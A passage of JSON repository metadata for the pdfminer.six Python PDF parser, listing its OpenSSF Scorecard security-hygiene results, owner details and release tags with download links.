PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/t